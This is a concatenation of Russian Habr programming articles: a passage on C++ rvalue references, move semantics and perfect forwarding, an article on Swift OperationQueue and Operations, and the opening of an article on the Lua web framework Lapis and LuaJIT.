* lvalue:
+ Имя переменной или аргумента (даже если их тип rvalue-ссылка). Например `std::cin`.
+ Вызов функции или оператора, тип возвращаемого значения которых является lvalue-ссылкой. Например `std::cout << 1`, `++it`.
+ Строковые литералы, например `"Hello, world!"`.
* rvalue:
+ Нестроковый литерал, например `42`, `true`, `nullptr`.
+ Вызов функции или оператора, тип возвращаемого значения которых не является ссылочным
+ Взятие адреса: `&a`.
+ Вызов функции или оператора, тип возвращаемого значения которых является rvalue ссылкой. Например `std::move(x)`.
+ `a.m`, где a — rvalue.
xvalue, prvalue и glvalue
-------------------------
Как уже упоминалось, rvalue разбилась на две категории xvalue (eXpiring lvalue) и prvalue (pure rvalue). А lvalue вместе с xvalue стала называться glvalue (generalized lvalue). Теперь, для наибольшей точности, следует относить выражения к одной из 3 категорий. На диаграмме это выглядит так:
К xvalue относятся следующие выражения:
* Вызов функции или оператора, тип возвращаемого значения которых является rvalue-ссылкой. Например `std::move(x)`.
* `a.m`, где a — rvalue.
Для чего были нужны дополнительные категории? Выражение xvalue, хотя и является rvalue, но имеет некоторые свойства lvalue, например, оно может быть полиморфным. Далее нам не понадобятся эти дополнительные категории, но они бывают полезны для повышения своего авторитета во время жарких дискуссий.
Способы инициализации
=====================
По нашей оценке вышло 6 вариантов. На самом деле нужно рассмотреть всего 3. Потому что, во-первых, нельзя инициализировать rvalue-ссылку lvalue-выражением. А во-вторых, инициалиция объекта (нессылочный тип) некоторым выражением, производится с помощью конструктора копирования или перемещения через передачу выражения (в конструктор) по ссылке, что сводит эти случаи к одному из трех вариантов. В качестве первоначального ориентира такая схема:
T& x = lvalue
-------------
Обычная ссылка.
T& x = rvalue
-------------
Это работает только в двух случаях.
### Случай 1. Для константной ссылки
```
const T& x = rvalue;
```
До c++11 это был единственный способ передать куда-то временный объект. Например, в конструктор копирования:
```
T::T(const T&);
T x = T(); //Временный объект T передается по константной ссылке в конструктор копирования
```
или куда-нибудь еще:
```
void readFile(const std::string &);
std::string filename = "data";
readFile(filename + ".txt"); //Временный объект std::string передается по константной ссылке в readFile
```
Как вы знаете, константная ссылка продлевает жизнь временного объекта. Да, но только пока эта ссылка еще находится в области видимости. Так как временный объект располагается на стеке, то при выходе из области видимости или из функции, компилятор уже не обязан отвечать за судьбу объекта.
### Случай 2. В Visual Studio
Пусть вас не удивляет прекрасно работающий в Visual Studio пример:
```
std::vector &v = std::vector({ 1, 2, 3 });
v.push\_back(4);
```
Ответ появится только на 4 уровне предупреждений:
```
warning C4239: nonstandard extension used
note: A non-const reference may only be bound to an lvalue
```
Это нестандартное для C++ расширение отключается ключом `/Za (Disable Language Extensions)`, но некоторые хедеры, типа `Windows.h`, не будут компилироваться, так как в расширение входят и другие фичи.
T&& x = lvalue
--------------
Тут все просто: так писать нельзя. Будьте внимательны, на Хабре есть перевод статьи «A Brief Introduction to Rvalue References» (статья аж 2008 года), который находится первым в выдаче поисковиков по запросу "rvalue". Пример оттуда ошибочен:
```
A a;
A&& a_ref2 = a; // это rvalue ссылка
```
Также, там приведена неверная реализация `std::move`. Впрочем, в комментариях указали на ошибки.
T&& x = rvalue
--------------
Подобрались к самому интересному. Начнем с простейших примеров:
```
std::string foo();
std::string&& str = foo();
int&& i = 5;
```
Эти ссылки ведут себя как обычные. Можно представить ссылку const T&, которую можно менять, или вспомнить расширение Visual Studio. Может возникнуть вопрос, почему же нельзя было просто использовать обычную ссылку для всех категорий выражений? В VS это же прекрасно работало (для классов). Ссылки && дают возможность перегружать функции и особенно конструкторы не только по типу выражения, но и по категории (lvalue или rvalue). Пример с 2 конструкторами:
```
string(const string&);
string(string&&);
string s1 = "Hello ";
string s2 = "world!";
string s3 = s1 + s2;
```
Выражение `s1 + s2` является rvalue, и для него подходят оба конструктора (см. схему в начале раздела). Приоритет будет отдан типу string&&. Те, кто знаком с конструкторами перемещения, знает почему это важно. Перед тем как поговорить об этом подробнее, разберемся с приоритетами.
Приоритет
---------
В большинстве ситуаций достаточно знать, что `T&&` "приоритетнее" `const T&`. Но желательно разобраться и с `const T&&` и с `T&`. Вот расширенная схема:
Правила простые (в порядке убывания приоритета):
* В первую очередь, подобное стремится к подобному (горизонтальные стрелки).
* Константный вариант тоже подойдет.
* И если все остальные варианты отсутствуют, то тип `const T&` будет рад всем выражениям.
* *Для VS: не забываем про неконстантные ссылки на rvalue (пунктирная стрелка)*.
Конструкторы копирования и перемещения (T x = lvalue; T x = rvalue;)
--------------------------------------------------------------------
Когда вы пишете:
```
T x = expr;
//или
T x(expr);
```
вызывается конструктор. Какой? У класса их может быть несколько:
```
T(const T&); //copy-конструктор
T(T&); //коварный copy-конструктор
T(const T&&); //как назвать этот?
T(T&&); //move-конструктор
```
При вызове конструктора происходит передача выражения по ссылке согласно схеме выше, в зависимости от категории выражения и типа ссылки аргументов. Теперь о том, что делает каждый конструктор.
### 1. T(const T&)
Обычный конструктор копирования. Имеет самый низкий приоритет, зато может принимать любые выражения.
### 2. T(T&)
Я называю его коварным конструктором копирования, потому что он может совершенно спокойно модифицировать источник, если изначально он не был константным. Имеет приоритет выше обычного конструктора копирования. Сомневаюсь, что он используется на практике. Если есть хорошие примеры его применения, то напишите.
### 3. T(const T&&)
Этот может принимать rvalue-выражения, т. е. объекты срок жизни которых подошел к завершению. Умирающий объект говорит: я умираю, возьми мои ~~гранаты~~ указатели на данные, мне они уже не нужны. А конструктор отвечает: нет, я так не могу, они же твои и останутся с тобой, я могу только сделать копию. Мне также неизвестен практический пример использования.
### 4. T(T&&)
Этот конструктор вызывается только для неконстантного rvalue. Такое выражение представляет собой временный объект или объект, приведенный к rvalue-ссылке с помощью `static_cast`. Подобное преобразование никак не затрагивает объект, однако такое выражение-обертка может быть передано по rvalue-ссылке в конструктор перемещения (или в какую-нибудь функцию). Конструктор забирает все указатели на данные и другие члены класса и передает их новому объекту. Поэтому, для эффективной работы move-конструктора, членов класса должно быть меньше. В предельном случае можно лишь хранить один указатель на реализацию. Здесь хорошо подходит идиома Pimpl (pointer to implementation).
Например, рассмотрим класс строки, заданной с помощью указателя на данные в куче и длины строки (это только концептуальный пример):
```
class String
{
char* data_;
size_t length_;
public:
explicit String(size_t length)
{
data_ = static_cast(::operator new(length));
length\_ = length;
}
~String()
{
::free(data\_);
}
};
```
Так может выглядеть конструктор перемещения:
```
String(String&& other)
{
data_ = other.data_; // Забираем указатель на строку
length_ = other.length_; // Копируем длину
other.data_ = nullptr; // Обязательно обнуляем (подробности далее)
other.length_ = 0; // И длину тоже
}
```
Что бы получилось, если бы мы не обнулили его данные (3-4 строки конструктора)? Рано или поздно для двух объектов-двойников был бы вызван деструктор, который бы попытался два раза удалить одни и те же данные. Но что если обнулить только указатель на данные, но не длину? Ведь деструктор отработает дважды нормально — конкретно этот не пользуется длиной. Тогда пользователь объекта, который вдруг воспользуется функцией `getLength` получит неверные сведения. Поэтому, нельзя варварски обращаться с объектом, который уже не нужен. В любом случае, необходимо оставлять его пустым, но в корректном состоянии. К тому же, можно вызывать перемещение несколько раз на протяжении его жизни.
static\_cast и std::move
========================
Мы уже говорили про `static_cast` при обсуждении конструктора перемещения. Как вы помните, выражение "обернутое" в `static_cast`, сигнализирует, что объект может быть перемещен. Тогда, если инициализируется новый объект, будет вызван конструктор перемещения, а не копирования. Теперь мы можем реализовать задачу из начала статьи:
```
std::vector items(1000000);
fill(items);
static\_cast< std::vector&& > (items); // Здесь ничего не произойдет, просто для примера
storage->setItems( static\_cast< std::vector&& > (items) );
//далее items уже не нужен
```
Вы наверняка знаете, что есть более удобный способ — вызов функции `std::move`, которая является оберткой над static\_cast. Чтобы понять как она работает, мы будем писать ее самостоятельно и наступим на все грабли, зато это будет полезным уроком. Прежде чем читать дальше, вы можете написать ее сами. Конечно эта функция должна быть шаблонной, чтобы принимать разные типы. Но пока, для простоты, сделаем для одного конкретного класса A. Порассуждаем. Если мы хотим передать lvalue, то сделать это можно только с помощью аргумента типа A&. Далее, мы преобразуем его к A&&, и типом возврата тоже будет A&&. Вызов функции, которая возвращает &&, является rvalue-выражением (точнее xvalue), как мы и хотели.
```
A&& my_move(A& a)
{
return static_cast(a);
}
```
Но стандартная функция std::move также принимает и rvalue, поэтому она универсальна, чего нельзя сказать о нашей. Одно из решений простое — добавить еще одну функцию с аргументом A&&:
```
A&& my_move(A&& a)
{
return static_cast(a);
}
```
Работает и для lvalue и для rvalue. Но, подождите, настоящая std::move только одна и имеет шаблонный тип аргумента T&&. Как так? Будем разбираться дальше.
Сжатие ссылок и универсальные ссылки
====================================
Итак, мы выяснили, что шаблонная std::move принимает lvalue для аргумента T&&. Значит, T&& — это не rvalue-ссылка. T&& каким-то образом превращается в T&. Но каким типом инстанцирован T? Чтобы понять что к чему, попробуем вызывать две перегруженные функции для двух категорий выражений (rvalue и lvalue):
```
template void foo(T&);
template void foo(T&&);
A a;
foo(a); //lvalue;
foo(A()); //rvalue;
```
В самих функциях будем проверять каким типом инстанцирован Т. Тип ссылки можно проверить так:
```
bool is_lvalue = std::is_lvalue_reference::value;
bool is\_rvalue = std::is\_rvalue\_reference::value;
```
Выясняется, что подходят 3 варианта:
1. Запись `foo(lvalue)`, при вызове `foo(T&)`, эквивалентна `foo(lvalue)`.
2. Запись `foo(rvalue)`, при вызове `foo(T&&)`, эквивалентна `foo(rvalue)`.
3. Запись `foo(lvalue)`, при вызове `foo(T&&)`, эквивалентна `foo(lvalue)`.
На следующей схеме подписи на стрелках означают каким типом был инстанцирован T в том или ином случае.
Первые два варинта предсказуемые, мы на них и полагались. Третий использут правило reference collapse — сжатие ссылок, которое определяет поведение при появлении ссылки на ссылку. Такая конструкция сама по себе является запрещенной, но возникает в шаблонах. Поэтому было задано, что если T инстанцирован A&&, то T&& (A&& &&) = A&&, а остальных случаях (ссылки на ссылку) тип равен A&, то есть:
```
T = A& => T& = A&
T = A& => T&& = A&
T = A&& => T& = A&
T = A&& => T&& = A&&
```
Таким образом, аргумент типа T&&, где T — шаблонный тип, может принимать оба типа ссылок. Поэтому ссылку типа T&& называют **универсальной ссылкой**.
std::move (продолжение)
=======================
Теперь понятно, что std::move может примать T&& (см. foo(T&&) на схеме выше). Дабавим шаблонности нашей my\_move:
```
template
T&& my\_move(T&& t)
{
return static\_cast(t);
}
```
Это ошибочная реализация, ведь T&& превращается в A& для lvalue, и, в этом случае, инстанс функции будет таким:
```
A& my_move(A& t)
{
return static_cast(t);
}
```
Тип аргумента корректный, но для остальных местах нам было нужно оставить A&& вместо A&. Пора смотреть реализацию std::move:
```
template
typename remove\_reference::type&& move(T&& \_Arg)
{
return (static\_cast::type&&>(\_Arg));
}
```
Думаю, понятно: remove\_reference убирает все ссылки, а затем к получившемуся типу добавляется &&. Кстати, класс remove\_reference устроен очень просто. Это три специализации шаблонного класса с параметрами T, T&, T&&.
```
template struct remove\_reference
{
typedef T type;
};
template struct remove\_reference
{
typedef T type;
};
template struct remove\_reference
{
typedef T type;
};
```
Perfect forwarding и std::forward
=================================
Казалось бы, разобрались со всеми проблемами, но нет. Мы научились передавать все выражения по шаблону T&&, но до сих пор не интересовались, как работать с ними дальше. Функция std::move не считается, потому что она не задумываясь приводит все к rvalue. Зачем нужно различать категории выражений? Представим, что мы пишем аналог `make_shared`. Напоминаю, что `make_shared(...)` сам вызывает конструктор T с заданными аргументами. Сейчас не время разбираться с variadic templates, поэтому, для простоты предположим, что аргумент всего один. Также будем возвращать самый обычный указатель. Возьмем простой класс:
```
class A
{
public:
A(); //Обычный конструктор
A(const A&); //Конструктор копирования
A(A&&); //Конструктор перемещения
};
```
Мы хотим делать так:
```
A a;
A* a1 = make_raw_ptr(a); //Должно произойти копирование
A\* a2 = make\_raw\_ptr(A()); //Должно произойти перемещение
delete a1; delete a2;
```
Воспользовавшись сжатием ссылок, пишем реализацию:
```
template
T\* make\_raw\_ptr(Arg &&arg)
{
return new T(arg);
};
```
Ну, работает, конечно. Только всегда происходит копирование. Нашли ошибку? Все просто — arg всегда lvalue. Кажется, что мы потеряли информацию о категории исходного выражения. Не совсем — ее еще можно извлечь из Arg. Ведь для lvalue: Arg=A&, для rvalue: Arg=A. Получается, что нам нужна функция, восстанавливающая тип ссылки, то есть:
1. При передаче lvalue типа A& возвращает A&
2. При передаче lvalue типа A возвращает A&&
3. При передаче rvalue… Пока не будем заморачиваться.
Попробуем реализовать для типа A (без шаблонов):
```
//Для 1-го случая
A& my_forward(A& a)
{
return a;
}
//Для 2-го случая
A&& my_forward(A& a) //не забываем, что передаем lvalue
{
return static_cast(a); //припомним, что исходное выражение было rvalue
}
```
Пока это не работает, так как сигнатуры одинаковы. Вспомним, что для первого случая у нас есть A&, а для второго просто A. Значит, нужно одним движением получить из A& — A&, а из A — A&&. Просто используем сжатие ссылок, "нацепив" на исходные типы &&.
```
template
T&& my\_forward(T& a)
{
return static\_cast(a);
}
template
T\* make\_raw\_ptr(Arg &&arg)
{
return new T(my\_forward(arg));
};
```
Стандартная версия std::forward немного сложнее. Она перегружена для различия & и &&, что позволяет организовать дополнительные проверки.
Возврат объекта
===============
Если проверять вызовы конструкторов/деструкторов при возврате объекта, то окажется, что в разных компиляторах при разных настройках количество вызовов будет различаться. Это сбивает с толку при изучении move-семантики. Сначала рассмотрим как происходит возврат объекта без оптимизаций. Для этого в GCC можно задать ключ `-fno-elide-constructors`. Затем изучим техники оптимизации, которые применяет компилятор.
Возврат без оптимизации
-----------------------
В следующем примере возвращаемое значение никак не используется.
```
T foo()
{
T result;
return result;
}
foo();
```
Во фрейме стека функции foo создается объект. Так как выполнение функции подходит к завершению, то ее память совсем скоро будет использована для других нужд. Поэтому, чтобы сохранить объект, компилятор делает примерно так:
```
T temp = result; //вызов конструктора происходит в вызываемой функции
```
Это очень условная запись, которая нужна лишь для того, чтобы понять принцип. temp — временный объект, размещенный во фрейме вызывающей функции. Важно, что result, скорее всего, будет интерпретироваться компилятором как rvalue, если он является локальным объектом foo. Поэтому temp может быть создан с помощью конструктора копирования или перемещения. На всякий случай напомню, что возвращать ссылку (неважно & или &&) на локальный объект нельзя.
Если нам нужно использовать результат, то такая запись:
```
T x = foo();
```
Превращается в:
```
T temp = result; //вызов конструктора происходит в вызываемой функции
T x = std::move(temp); //вызов конструктора происходит в вызывающей функции
```
Такая двойная работа не обязательно будет применяться в вашем компиляторе. Однако, для изучения бывает полезно представлять возврат объекта именно так.
Как видите, даже с отключенными оптимизациями можно возвращать большой объект (в смысле его данных, а не sizeof, конечно), если для него существует конструктор перемещения.
Copy elision и return value optimization
----------------------------------------
Каждый C++ программист задумывался: можно ли возвращать большой вектор? Иногда страх пересиливал и вместо `std::vector get();` мы писали `void get(std::vector &);` С move-конструкторами стало полегче. Но и до них компиляторами применялась copy elision — техника избавления от лишних конструкторов, там где можно. В частности, для возвращаемых значений используется return value optimization (RVO). Вместо возврата локального объекта через конструктор копирования (или перемещения), компилятор поступает примерно как и мы, когда передавали объект по ссылке. То есть, возвращаемый объект сразу создается в вызывающей функции, а заполняется в вызываемой. Можно ли полагаться на RVO? Пример в Visual Studio 2015:
```
T foo()
{
return T();
}
class T
{
public:
T() = default; //RVO не работает даже в релизе
T() {}; //А так работает
};
```
Скажем так, полагаться только на оптимизацию не стоит. Даже если она хорошо отрабатывает в релизной версии, то в отладочной она обычно не применяется, что может затянуть процесс. Пишите конструкторы перемещения или создавайте динамические объекты и заворачивайте их в std::shared\_ptr или std::unique\_ptr. | https://habr.com/ru/post/322132/ | null | ru | null |
# Параллельное программирование в Swift: Operations
В параллельном программировании в Swift: Основы Я представил множество низкоуровневых способов для управления параллелизмом в Swift. Первоначальная идея состояла в том, чтобы собрать все различные подходы, которые мы можем использовать в iOS в одном месте. Но при написании этой статьи я осознал, что их слишком много, чтобы перечислить в одной статье. Поэтому я решил сократить методы более высокого уровня.
Я упомянул Operations в одной из моих статей, но давайте рассмотрим их более внимательно.
### OperationQueue
Напомним: **Operation** — это высокоуровневая абстракция **Cocoa** над **GCD**. Если быть более точным, то это абстракция над *dispatch\_queue\_t*. Она использует тот же принцип, что и очереди, в которые вы можете добавлять задачи. В случае OperationQueue этими задачами являются операции. При выполнении операции нам нужно знать о потоке, в котором она запускается. Если необходимо обновить пользовательский интерфейс, разработчику следует использовать **MainOperationQueue**.
```
OperationQueue.main
```
В противном случае мы можем использовать приватную очередь.
```
let operationQueue: OperationQueue = OperationQueue()
```
Отличие от *dispatch\_queue\_t* — это возможность установить одновременно максимальное количество операций для запуска.
```
let operationQueue: OperationQueue = OperationQueue()
operationQueue.maxConcurrentOperationCount = 1
```
### Operations
**OperationQueue** представляет собой абстракцию высокого уровня *dispatch\_queue\_t*, а сами операции рассматриваются как абстракции верхнего уровня dispatch блоков. Но есть некоторые отличия. Например, операция может выполняться в течении нескольких минут, или дольше, а блок работает в течении нескольких миллисекунд. Поскольку Operations являются классами, мы можем использовать их для инкапсуляции нашей бизнес-логики. Таким образом, нам нужно будет заменить несколько небольших операций для изменения основных компонентов (например, нашего уровня базы данных).
### Жизненный цикл
За период своего существования Operations проходит через разные этапы. При добавлении в очередь она находится в состоянии ожидания. В этом состоянии она ожидает своих условий. Как только все они будут выполнены, Operations переходит в состояние готовности, и в случае наличия открытого слота она начнет выполняться. Выполнив всю свою работу, Operations войдет в состояние Finished, и будет удалена из OperationQueue. В каждом состоянии (кроме Завершенного) Operation может быть отменена.
### Отмена
Отмена Operation довольно проста. В зависимости от операции отмена может иметь совершенно разные значения. Например, при запуске сетевого запроса отмена может привести к остановке этого запроса. При импорте данных это может означать отказ от транзакции. Ответственность за назначение этого значения лежит на вас.
Итак, как отменить Operation? Вы просто вызываете метод .cancel (). Это приведет к изменению свойства isCancelled. Это все, что сделает iOS для вас. От вас зависит, как реагировать на эту отмену операции и как вести себя дальше.
```
let op = DemoOperation()
OperationQueue.addOperations([op], waitUntilFinished: false)
op.cancel()
```
Имейте в виду, что отмена операции приводит к отмене всех ее условий и немедленному запуску, чтобы как можно скорее войти в состояние *Finished*. Переход в состояние *Finished* — это единственный путь, чтобы удалить операцию из очереди.
Если вы забыли проверить на отмену операции, вы можете увидеть, что они выполняются, даже если вы их отменили. Также имейте в виду, что это восприимчиво к «[race condition](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%B3%D0%BE%D0%BD%D0%BA%D0%B8)». Нажатие кнопки и установка отметки занимает несколько микросекунд. В течение этого времени операция может завершиться и отметка об отмене операции не будет иметь никакого эффекта.
### Готовность
Готовность описывается только одним Boolean значением. Это означает, что операция готова к выполнению, и она ждет очереди своего запуска. В последовательной очереди сначала выполняется операция, которая входит в состояние «Готовности», хотя она и может находиться на позиции 9 в очереди. Если в состояние готовности вошли одновременно несколько операций, будет выполнена приоритизация их выполнения. Operation войдет в состояние готовности только после завершения всех ее зависимостей.
### Зависимости
Это одна из действительно огромных особенностей операций. Мы можем создавать задачи, в которых, указывается, что другие задачи должны выполняться первыми, прежде чем они сами могут быть выполнены. В то же время есть задачи, которые могут выполняться параллельно с другими задачами, но являются зависимыми от последующих действий. Это можно сделать, вызвав .addDependency()
```
operation2.addDependency(operation1) //execute operation1 before operation2
```
Любая операция, которая имеет зависимости, по умолчанию будет иметь состояние ready после завершения всех ее зависимостей. Тем не менее, вам решать, как действовать после отмены зависимости.
Это позволяет нам строго упорядочить наши операции.
Я не думаю, что это очень легко читать, поэтому давайте создадим собственный оператор (==>) для создания зависимостей. Таким образом, мы можем указать порядок выполнения операций слева направо.
```
precedencegroup OperationChaining {
associativity: left
}
infix operator ==> : OperationChaining
@discardableResult
func ==>(lhs: T, rhs: T) -> T {
rhs.addDependency(lhs)
return rhs
}
operation1 ==> operation2 ==> operation3 // Execute in order 1 to 3
```
Зависимости могут находиться в разных *OperationQueues*. В то же время они могут создать неожиданное поведение при блокировке. Например, пользовательский интерфейс может работать с замедлением, поскольку обновление зависит от операции в фоновом режиме и блокирует другие операции. Помните о цикличных зависимостях. Это происходит, если операция **A** зависит от работы **B** и **B** зависит от **A**. Таким образом, они обе ожидают выполнения друг друга, поэтому вы получите **[deadlock](https://ru.wikipedia.org/wiki/Deadlock)**.
### Выполнено
После выполнения Operation войдет в состояние «Готово» и выполнит свой completion блок ровно один раз. Completion блок может быть установлен следующим образом:
```
let op1 = Operation()
op1.completionBlock = {
print("done")
}
```
### Практический пример
Давайте создадим простую структуру для операций со всеми этими принципами. Операции имеют довольно много сложных понятий. Вместо создания примера, который слишком сложный, давайте просто напечатаем «*Hello world*» и попробуем включить большинство из них. Пример будет содержать асинхронное выполнение, зависимости и несколько операций, рассматриваемых, как одна. Давайте погрузимся в создание примера!
### AsyncOperation
Сначала мы создадим Operation для создания асинхронных задач. Таким образом, мы можем создавать подклассы и любые асинхронные задачи.
```
import Foundation
class AsyncOperation: Operation {
override var isAsynchronous: Bool {
return true
}
var _isFinished: Bool = false
override var isFinished: Bool {
set {
willChangeValue(forKey: "isFinished")
_isFinished = newValue
didChangeValue(forKey: "isFinished")
}
get {
return _isFinished
}
}
var _isExecuting: Bool = false
override var isExecuting: Bool {
set {
willChangeValue(forKey: "isExecuting")
_isExecuting = newValue
didChangeValue(forKey: "isExecuting")
}
get {
return _isExecuting
}
}
func execute() {
}
override func start() {
isExecuting = true
execute()
isExecuting = false
isFinished = true
}
}
```
Это выглядит довольно некрасиво. Как видите, мы должны переопределить *isFinished* и *isExecuting*. Кроме того, изменения в них должны соответствовать требованиям **KVO**, в противном случае **OperationQueue** не сможет наблюдать за состоянием наших операций. В нашем методе *start()* мы управляем состоянием нашей операции от запуска выполнения до входа в состояние *Finished(Завершено)*. Мы создали метод *execute()*. Это будет метод, который необходимо реализовать нашим подклассам.
### TextOperation
```
import Foundation
class TextOperation: AsyncOperation {
let text: String
init(text: String) {
self.text = text
}
override func execute() {
print(text)
}
}
```
В этом случае нам просто нужно передать текст, который мы хотим распечатать в *init()*, и переопределить *execute()*.
### GroupOperation
**GroupOperation** будет нашей реализацией для объединения нескольких операций в одну.
```
import Foundation
class GroupOperation: AsyncOperation {
let queue = OperationQueue()
var operations: [AsyncOperation] = []
override func execute() {
print("group started")
queue.addOperations(operations, waitUntilFinished: true)
print("group done")
}
}
```
Как видите, мы создаем массив, в котором наши подклассы будут добавлять свои операции. Затем во время выполнения мы просто добавляем операции в нашу приватную очередь. Таким образом мы гарантируем, что они будут выполнены в определенном порядке. Вызов метода *addOperations ([Operation], waitUntilFinished: true)* приводит к блокировке очереди до тех пор, пока не будут выполнены дополнительные операции. После этого *GroupOperation* изменит свое состояние на *Finish*.
### HelloWorld Operation
Просто создайте собственные операции, установите зависимости и добавьте их в массив. Вот и все.
```
import Foundation
class HelloWorldOperation: GroupOperation {
override init() {
super.init()
let op = TextOperation(text: "Hello")
let op2 = TextOperation(text: "World")
op2.addDependency(op)
operations = [op2, op]
}
}
```
### Operation Observer
Итак, как мы узнаем, что операция завершена? Как один из способов, можно добавить competionBlock. Другой способ — зарегистрировать OperationObserver. Это класс, который подписывается на keyPath через KVO. Он наблюдает за всем, до тех пор, пока он совместим с KVO.
Давайте в нашем маленьком Фреймворке напечатаем «done», как только закончится *HelloWorldOperation*:
```
import Foundation
class OperationObserver: NSObject {
init(operation: AsyncOperation) {
super.init()
operation.addObserver(self, forKeyPath: "finished", options: .new, context: nil)
}
override func observeValue(forKeyPath keyPath: String?, of object: Any?, change: [NSKeyValueChangeKey : Any]?, context: UnsafeMutableRawPointer?) {
guard let key = keyPath else {
return
}
switch key {
case "finished":
print("done")
default:
print("doing")
}
}
}
```
### Передача данных
Для «Hello World!» не имеет смысла передавать данные, но давайте быстро рассмотрим этот случай. Самый простой способ — использовать **BlockOperations**. Используя их, мы можем установить свойства для следующей операции, которой необходимы данные. Не забудьте установить зависимость, иначе операция может не выполниться вовремя ;)
```
let op1 = Operation1()
let op2 = Operation2()
let adapter = BlockOperation() { [unowned op1, unowned op2] in
op2.data = op1.data
}
adapter.addDependency(op1)
op2.addDependency(adapter)
queue.addOperations([op1, op2, adapter], waitUntilFinished: true)
```
### Обработка ошибок
Еще одна вещь, которую мы не рассматриваем сейчас, — обработка ошибок. По правде говоря, я еще не нашел хороший способ сделать это. Один из вариантов заключается в том, Чтобы добавить вызов метода *finished(withErrors:)* и дать возможность каждой асинхронной операций вызывать его вместо **AsyncOperation**, обрабатывая его в *start()*. Таким образом, мы можем проверить наличие ошибок, и добавить их в массив. Допустим, у нас есть операция A, которая зависит от операции **B**. Внезапно операция B заканчивается ошибкой. И в этом случае Operation A может проверить этот массив и прервать его выполнение. В зависимости от требований, Вы можете добавить дополнительные ошибки.
Это может выглядеть так:
```
class GroupOperation: AsyncOperation {
let queue = OperationQueue()
var operations: [AsyncOperation] = []
var errors: [Error] = []
override func execute() {
print("group started")
queue.addOperations(operations, waitUntilFinished: true)
print("group done")
}
func finish(withError errors: [Error]) {
self.errors += errors
}
}
```
Имейте в виду, что подоперации должны соответствующим образом обрабатывать свое состояние, и для этого необходимо выполнить некоторые изменения в **AsyncOperation**.
Но, как всегда, существует много способов, и это только один из них. Вы также можете использовать observer для наблюдения за значением ошибки.
Неважно, как вы это делаете. Просто убедитесь, что ваша операция будет удаляться после завершения выполнения. Например: Если вы напишете в контексте [CoreData](https://ru.wikipedia.org/wiki/CoreData), и что-то пойдет не так, вам необходимо очистить этот контекст. В противном случае у вас может быть неопределенное состояние.
### UI Operations
Операции не ограничиваются элементами, которые вы не видите. Все, что вы делаете в приложении, может быть операцией (хотя я бы советовал вам так не поступать). Но есть некоторые вещи, которые легче видеть как Операции. Все, что является модальным, следует учитывать соответствующим образом. Давайте посмотрим на операцию, чтобы отобразить диалог:
```
import Foundation
class UIOperation: AsyncOperation {
let viewController: UIViewcontroller!
override func execute() {
let alert = UIAlertController(title: "My Alert", message: @"This is an alert.", preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "OK", style: .`default`, handler: { _ in
self.handleInput()
}))
viewController.present(alert, animated: true, completion: nil)
}
func handleInput() {
//do something and continue operation
}
}
```
Как видите, она приостанавливает свое выполнение, пока не будет нажата кнопка. После этого она войдет в свое законченное состояние, а затем все остальные операции, которые зависят от этой могут продолжаться.
### UI Operations
Операции не ограничиваются элементами, которые вы не видите. Все, что вы делаете в приложении, может быть операцией (хотя я бы советовал вам так не поступать). Но есть некоторые вещи, которые легче видеть как Операции. Все, что является модальным, следует учитывать соответствующим образом. Давайте посмотрим на операцию, чтобы отобразить диалог:
```
import Foundation
class UIOperation: AsyncOperation {
let viewController: UIViewcontroller!
override func execute() {
let alert = UIAlertController(title: "My Alert", message: @"This is an alert.", preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "OK", style: .`default`, handler: { _ in
self.handleInput()
}))
viewController.present(alert, animated: true, completion: nil)
}
func handleInput() {
//do something and continue operation
}
}
```
Как видите, она приостанавливает свое выполнение, пока не будет нажата кнопка. После этого она войдет в свое законченное состояние, а затем все остальные операции, которые зависят от этой могут продолжаться.
### Взаимное исключение
Учитывая то, что мы можем использовать *Operations* для Пользовательского Интерфейса, появляется иная задача. Представьте, что вы видите диалог об ошибке. Возможно, вы добавляете в очередь несколько операций, которые будут отображать ошибку, когда сеть недоступна. Это легко может привести к тому, что при появлении предупреждений все вышеупомянутые Operations могут привести к разрыву сетевого подключения. В результате у нас было бы несколько диалогов, которые отобразились бы одновременно, и мы не знаем какой является первым, а какой вторым. Поэтому нам придется сделать эти диалоги взаимоисключающими.
Несмотря на то, что сама идея сложная, ее довольно легко реализовать при помощи зависимостей. Просто создайте зависимость между этими диалогами, и все готово. Одной из проблем является отслеживание операции. Но это может быть разрешено с помощью операций именования, а затем наличием доступа к **OperationQueue** и поиска имени. Таким образом, вам не нужно держать ссылку.
```
let op1 = Operation()
op1.name = "Operation1"
OperationQueue.main.addOperations([op1], waitUntilFinished:false)
let operations = OperationQueue.main.operations
operations.map { op in
if op.name == "Operation1" {
op.cancel()
}
}
```
### Заключение
**Operations** – это хороший инструмент для параллелизма. Но не обманывайте себя, они сложнее, чем вы думаете. В настоящее время я поддерживаю проект, базирующийся на Operations, а некоторые его части являются весьма сложными и неудобными в работе. В частности, при обработке ошибок появляется масса неисправностей. Каждый раз, когда вы выполняете групповую операцию, и она выполняется некорректно, существует вероятность более, чем одной ошибки. Вам придется отфильтровать их для получения необходимых ошибок определенного вида, поэтому иногда ошибка сбивает с толку из-за подпрограмм отображения.
Другая проблема заключается в том, что вы перестаете думать о возможных параллельных идентичных проблемах. Я еще не говорил об этих деталях, но помню о GroupOperations с кодом обработки ошибок, приведенных выше. Они содержат ошибку, которая будет исправлена в будущем посте.
**Operations** — хороший инструмент для управления параллелизмом. **GCD** все еще не упорядочены. Для небольших задач, таких, как переключения потоков или задач, которые необходимо выполнить как можно быстрее, вы, возможно, не захотите использовать операции. Идеальным решением для этого является **GCD**. | https://habr.com/ru/post/350096/ | null | ru | null |
# Lapis: сайт на Lua в конфигах Nginx
*Tl;dr Lapis(Lua) = RoR(Ruby) = Django(Python)*
Вступление
----------
[Lua](http://www.lua.org) — мощный и быстрый скриптовый язык, который очень легко встраивается в C. Разработан в PUC-Rio (Бразилия).
[LuaJIT](http://luajit.org/luajit.html) — это самая быстрая реализация Lua (JIT-компилятор), настоящее произведение искусства. По [некоторым оценкам](https://github.com/LewisJEllis/awesome-lua#implementations-and-interpreters), имеет шестикратное преимущество перед стандартным интерпретатором Lua и во [многих](https://attractivechaos.github.io/plb/) [тестах](https://gist.github.com/spion/3049314) [побивает](https://github.com/starius/lang-bench) V8. Разработчик Mike Pall (Германия).
А ещё LuaJIT может привязать функции и структуры C на стороне Lua (без написания привязок на C):
```
local ffi = require("ffi")
ffi.cdef[[int printf(const char *fmt, ...);]]
ffi.C.printf("Hello %s!\n", "wiki")
```
